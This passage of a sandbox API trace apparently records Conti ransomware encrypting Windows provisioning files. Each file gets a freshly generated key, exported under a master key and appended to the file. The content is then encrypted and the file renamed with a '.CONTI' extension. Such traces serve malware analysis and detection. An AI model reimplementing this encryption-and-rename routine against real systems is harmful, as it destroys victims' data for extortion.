	[0113.445] SetFilePointer (in: hFile=0x3e4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.445] ReadFile (in: hFile=0x3e4, lpBuffer=0x8e60000, nNumberOfBytesToRead=0x351, lpNumberOfBytesRead=0x393fdac, lpOverlapped=0x0 | out: lpBuffer=0x8e60000*, lpNumberOfBytesRead=0x393fdac*=0x351, lpOverlapped=0x0) returned 1
	[0113.445] CryptEncrypt (in: hKey=0x17c7bf0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x8e60000*, pdwDataLen=0x393fda4*=0x351, dwBufLen=0x500000 | out: pbData=0x8e60000*, pdwDataLen=0x393fda4*=0x360) returned 1
	[0113.445] SetFilePointerEx (in: hFile=0x3e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.445] WriteFile (in: hFile=0x3e4, lpBuffer=0x8e60000*, nNumberOfBytesToWrite=0x360, lpNumberOfBytesWritten=0x393fdc0, lpOverlapped=0x0 | out: lpBuffer=0x8e60000*, lpNumberOfBytesWritten=0x393fdc0*=0x360, lpOverlapped=0x0) returned 1
	[0113.445] SetFilePointerEx (in: hFile=0x3e4, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.445] WriteFile (in: hFile=0x3e4, lpBuffer=0x65bd9c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x393fdd8, lpOverlapped=0x0 | out: lpBuffer=0x65bd9c8*, lpNumberOfBytesWritten=0x393fdd8*=0x8, lpOverlapped=0x0) returned 1
	[0113.445] SetFilePointer (in: hFile=0x3e4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.446] CloseHandle (hObject=0x3e4) returned 1
	[0113.446] GetProcessHeap () returned 0x1720000
	[0113.446] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x653b130
	[0113.446] lstrcpyW (in: lpString1=0x653b130, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\611__Connections_Cellular_Truphone (Netherlands)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\611__Connections_Cellular_Truphone (Netherlands)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\611__Connections_Cellular_Truphone (Netherlands)_i0$(__MVID)@WAP.provxml"
	[0113.446] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\611__Connections_Cellular_Truphone (Netherlands)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\611__Connections_Cellular_Truphone (Netherlands)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\611__Connections_Cellular_Truphone (Netherlands)_i0$(__MVID)@WAP.provxml.CONTI"
	[0113.446] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\611__Connections_Cellular_Truphone (Netherlands)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\611__connections_cellular_truphone (netherlands)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\611__Connections_Cellular_Truphone (Netherlands)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\611__connections_cellular_truphone (netherlands)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0113.446] GetProcessHeap () returned 0x1720000
	[0113.446] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x653b130 | out: hHeap=0x1720000) returned 1
	[0113.446] CryptDestroyKey (hKey=0x17c7bf0) returned 1
	[0113.446] GetProcessHeap () returned 0x1720000
	[0113.447] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65b9a28 | out: hHeap=0x1720000) returned 1
	[0113.447] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x393fe00, lpCompletionKey=0x393fe04, lpOverlapped=0x393fe10, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x393fe00, lpCompletionKey=0x393fe04, lpOverlapped=0x393fe10) returned 1
	[0113.447] CryptGenKey (in: hProv=0x1748770, Algid=0x6610, dwFlags=0x1, phKey=0x65bdc18 | out: phKey=0x65bdc18*=0x17c7870) returned 1
	[0113.447] CryptExportKey (in: hKey=0x17c7870, hExpKey=0x173a7d0, dwBlobType=0x1, dwFlags=0x0, pbData=0x65bdc1c, pdwDataLen=0x393fdd4 | out: pbData=0x65bdc1c*, pdwDataLen=0x393fdd4*=0x20c) returned 1
	[0113.447] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\612__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\612__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml")) returned 0x20
	[0113.447] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\612__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\612__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e4
	[0113.448] GetLastError () returned 0x0
	[0113.448] GetFileSizeEx (in: hFile=0x3e4, lpFileSize=0x393fd80 | out: lpFileSize=0x393fd80*=459) returned 1
	[0113.448] SetFilePointer (in: hFile=0x3e4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x1cb
	[0113.448] SetFilePointerEx (in: hFile=0x3e4, liDistanceToMove=0x229, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.448] SetEndOfFile (hFile=0x3e4) returned 1
	[0113.452] SetFilePointer (in: hFile=0x3e4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.452] SetFilePointerEx (in: hFile=0x3e4, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.452] WriteFile (in: hFile=0x3e4, lpBuffer=0x65bdc1c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x393fd8c, lpOverlapped=0x0 | out: lpBuffer=0x65bdc1c*, lpNumberOfBytesWritten=0x393fd8c*=0x20c, lpOverlapped=0x0) returned 1
	[0113.455] SetFilePointer (in: hFile=0x3e4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.455] ReadFile (in: hFile=0x3e4, lpBuffer=0x8e60000, nNumberOfBytesToRead=0x1cb, lpNumberOfBytesRead=0x393fdac, lpOverlapped=0x0 | out: lpBuffer=0x8e60000*, lpNumberOfBytesRead=0x393fdac*=0x1cb, lpOverlapped=0x0) returned 1
	[0113.455] CryptEncrypt (in: hKey=0x17c7870, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x8e60000*, pdwDataLen=0x393fda4*=0x1cb, dwBufLen=0x500000 | out: pbData=0x8e60000*, pdwDataLen=0x393fda4*=0x1d0) returned 1
	[0113.455] SetFilePointerEx (in: hFile=0x3e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.455] WriteFile (in: hFile=0x3e4, lpBuffer=0x8e60000*, nNumberOfBytesToWrite=0x1d0, lpNumberOfBytesWritten=0x393fdc0, lpOverlapped=0x0 | out: lpBuffer=0x8e60000*, lpNumberOfBytesWritten=0x393fdc0*=0x1d0, lpOverlapped=0x0) returned 1
	[0113.456] SetFilePointerEx (in: hFile=0x3e4, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.456] WriteFile (in: hFile=0x3e4, lpBuffer=0x65bdc10*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x393fdd8, lpOverlapped=0x0 | out: lpBuffer=0x65bdc10*, lpNumberOfBytesWritten=0x393fdd8*=0x8, lpOverlapped=0x0) returned 1
	[0113.456] SetFilePointer (in: hFile=0x3e4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.456] CloseHandle (hObject=0x3e4) returned 1
	[0113.456] GetProcessHeap () returned 0x1720000
	[0113.456] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x653b130
	[0113.456] lstrcpyW (in: lpString1=0x653b130, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\612__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\612__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\612__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml"
	[0113.456] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\612__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\612__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\612__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml.CONTI"
	[0113.456] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\612__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\612__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\612__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\612__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml.conti")) returned 1
	[0113.457] GetProcessHeap () returned 0x1720000
	[0113.457] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x653b130 | out: hHeap=0x1720000) returned 1
	[0113.457] CryptDestroyKey (hKey=0x17c7870) returned 1
	[0113.457] GetProcessHeap () returned 0x1720000
	[0113.457] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65ccf00 | out: hHeap=0x1720000) returned 1
	[0113.457] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x393fe00, lpCompletionKey=0x393fe04, lpOverlapped=0x393fe10, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x393fe00, lpCompletionKey=0x393fe04, lpOverlapped=0x393fe10) returned 1
	[0113.457] CryptGenKey (in: hProv=0x1748770, Algid=0x6610, dwFlags=0x1, phKey=0x65c09b8 | out: phKey=0x65c09b8*=0x17c7cb0) returned 1
	[0113.457] CryptExportKey (in: hKey=0x17c7cb0, hExpKey=0x173a7d0, dwBlobType=0x1, dwFlags=0x0, pbData=0x65c09bc, pdwDataLen=0x393fdd4 | out: pbData=0x65c09bc*, pdwDataLen=0x393fdd4*=0x20c) returned 1
	[0113.458] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\614__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\614__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml")) returned 0x20
	[0113.458] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\614__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\614__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e4
	[0113.458] GetLastError () returned 0x0
	[0113.458] GetFileSizeEx (in: hFile=0x3e4, lpFileSize=0x393fd80 | out: lpFileSize=0x393fd80*=459) returned 1
	[0113.458] SetFilePointer (in: hFile=0x3e4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x1cb
	[0113.458] SetFilePointerEx (in: hFile=0x3e4, liDistanceToMove=0x229, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.458] SetEndOfFile (hFile=0x3e4) returned 1
	[0113.464] SetFilePointer (in: hFile=0x3e4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.464] SetFilePointerEx (in: hFile=0x3e4, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.464] WriteFile (in: hFile=0x3e4, lpBuffer=0x65c09bc*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x393fd8c, lpOverlapped=0x0 | out: lpBuffer=0x65c09bc*, lpNumberOfBytesWritten=0x393fd8c*=0x20c, lpOverlapped=0x0) returned 1
	[0113.473] SetFilePointer (in: hFile=0x3e4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.473] ReadFile (in: hFile=0x3e4, lpBuffer=0x8e60000, nNumberOfBytesToRead=0x1cb, lpNumberOfBytesRead=0x393fdac, lpOverlapped=0x0 | out: lpBuffer=0x8e60000*, lpNumberOfBytesRead=0x393fdac*=0x1cb, lpOverlapped=0x0) returned 1
	[0113.473] CryptEncrypt (in: hKey=0x17c7cb0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x8e60000*, pdwDataLen=0x393fda4*=0x1cb, dwBufLen=0x500000 | out: pbData=0x8e60000*, pdwDataLen=0x393fda4*=0x1d0) returned 1
	[0113.473] SetFilePointerEx (in: hFile=0x3e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.473] WriteFile (in: hFile=0x3e4, lpBuffer=0x8e60000*, nNumberOfBytesToWrite=0x1d0, lpNumberOfBytesWritten=0x393fdc0, lpOverlapped=0x0 | out: lpBuffer=0x8e60000*, lpNumberOfBytesWritten=0x393fdc0*=0x1d0, lpOverlapped=0x0) returned 1
	[0113.473] SetFilePointerEx (in: hFile=0x3e4, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.473] WriteFile (in: hFile=0x3e4, lpBuffer=0x65c09b0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x393fdd8, lpOverlapped=0x0 | out: lpBuffer=0x65c09b0*, lpNumberOfBytesWritten=0x393fdd8*=0x8, lpOverlapped=0x0) returned 1
	[0113.473] SetFilePointer (in: hFile=0x3e4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.473] CloseHandle (hObject=0x3e4) returned 1
	[0113.474] GetProcessHeap () returned 0x1720000
	[0113.474] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x653b130
	[0113.474] lstrcpyW (in: lpString1=0x653b130, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\614__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\614__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\614__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml"
	[0113.474] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\614__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\614__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\614__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml.CONTI"
	[0113.474] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\614__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\614__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\614__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\614__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml.conti")) returned 1
	[0113.474] GetProcessHeap () returned 0x1720000
	[0113.474] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x653b130 | out: hHeap=0x1720000) returned 1
	[0113.475] CryptDestroyKey (hKey=0x17c7cb0) returned 1
	[0113.475] GetProcessHeap () returned 0x1720000
	[0113.475] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65cd568 | out: hHeap=0x1720000) returned 1
	[0113.475] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x393fe00, lpCompletionKey=0x393fe04, lpOverlapped=0x393fe10, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x393fe00, lpCompletionKey=0x393fe04, lpOverlapped=0x393fe10) returned 1
	[0113.475] CryptGenKey (in: hProv=0x1748770, Algid=0x6610, dwFlags=0x1, phKey=0x65c1bf8 | out: phKey=0x65c1bf8*=0x17c7bf0) returned 1
	[0113.475] CryptExportKey (in: hKey=0x17c7bf0, hExpKey=0x173a7d0, dwBlobType=0x1, dwFlags=0x0, pbData=0x65c1bfc, pdwDataLen=0x393fdd4 | out: pbData=0x65c1bfc*, pdwDataLen=0x393fdd4*=0x20c) returned 1
	[0113.475] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\617__Connections_Cellular_Truphone (Australia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\617__connections_cellular_truphone (australia)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0113.476] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\617__Connections_Cellular_Truphone (Australia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\617__connections_cellular_truphone (australia)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e4
	[0113.476] GetLastError () returned 0x0
	[0113.476] GetFileSizeEx (in: hFile=0x3e4, lpFileSize=0x393fd80 | out: lpFileSize=0x393fd80*=847) returned 1
	[0113.476] SetFilePointer (in: hFile=0x3e4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x34f
	[0113.476] SetFilePointerEx (in: hFile=0x3e4, liDistanceToMove=0x225, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.476] SetEndOfFile (hFile=0x3e4) returned 1
	[0113.476] SetFilePointer (in: hFile=0x3e4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.476] SetFilePointerEx (in: hFile=0x3e4, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.476] WriteFile (in: hFile=0x3e4, lpBuffer=0x65c1bfc*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x393fd8c, lpOverlapped=0x0 | out: lpBuffer=0x65c1bfc*, lpNumberOfBytesWritten=0x393fd8c*=0x20c, lpOverlapped=0x0) returned 1
	[0113.479] SetFilePointer (in: hFile=0x3e4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.479] ReadFile (in: hFile=0x3e4, lpBuffer=0x8e60000, nNumberOfBytesToRead=0x34f, lpNumberOfBytesRead=0x393fdac, lpOverlapped=0x0 | out: lpBuffer=0x8e60000*, lpNumberOfBytesRead=0x393fdac*=0x34f, lpOverlapped=0x0) returned 1
	[0113.479] CryptEncrypt (in: hKey=0x17c7bf0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x8e60000*, pdwDataLen=0x393fda4*=0x34f, dwBufLen=0x500000 | out: pbData=0x8e60000*, pdwDataLen=0x393fda4*=0x350) returned 1
	[0113.479] SetFilePointerEx (in: hFile=0x3e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.479] WriteFile (in: hFile=0x3e4, lpBuffer=0x8e60000*, nNumberOfBytesToWrite=0x350, lpNumberOfBytesWritten=0x393fdc0, lpOverlapped=0x0 | out: lpBuffer=0x8e60000*, lpNumberOfBytesWritten=0x393fdc0*=0x350, lpOverlapped=0x0) returned 1
	[0113.479] SetFilePointerEx (in: hFile=0x3e4, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.479] WriteFile (in: hFile=0x3e4, lpBuffer=0x65c1bf0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x393fdd8, lpOverlapped=0x0 | out: lpBuffer=0x65c1bf0*, lpNumberOfBytesWritten=0x393fdd8*=0x8, lpOverlapped=0x0) returned 1
	[0113.479] SetFilePointer (in: hFile=0x3e4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.480] CloseHandle (hObject=0x3e4) returned 1
	[0113.480] GetProcessHeap () returned 0x1720000
	[0113.480] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x653b130
	[0113.480] lstrcpyW (in: lpString1=0x653b130, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\617__Connections_Cellular_Truphone (Australia)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\617__Connections_Cellular_Truphone (Australia)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\617__Connections_Cellular_Truphone (Australia)_i0$(__MVID)@WAP.provxml"
	[0113.480] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\617__Connections_Cellular_Truphone (Australia)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\617__Connections_Cellular_Truphone (Australia)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\617__Connections_Cellular_Truphone (Australia)_i0$(__MVID)@WAP.provxml.CONTI"
	[0113.480] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\617__Connections_Cellular_Truphone (Australia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\617__connections_cellular_truphone (australia)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\617__Connections_Cellular_Truphone (Australia)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\617__connections_cellular_truphone (australia)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0113.481] GetProcessHeap () returned 0x1720000
	[0113.481] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x653b130 | out: hHeap=0x1720000) returned 1
	[0113.481] CryptDestroyKey (hKey=0x17c7bf0) returned 1
	[0113.481] GetProcessHeap () returned 0x1720000
	[0113.481] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65b9b80 | out: hHeap=0x1720000) returned 1
	[0113.481] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x393fe00, lpCompletionKey=0x393fe04, lpOverlapped=0x393fe10, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x393fe00, lpCompletionKey=0x393fe04, lpOverlapped=0x393fe10) returned 1
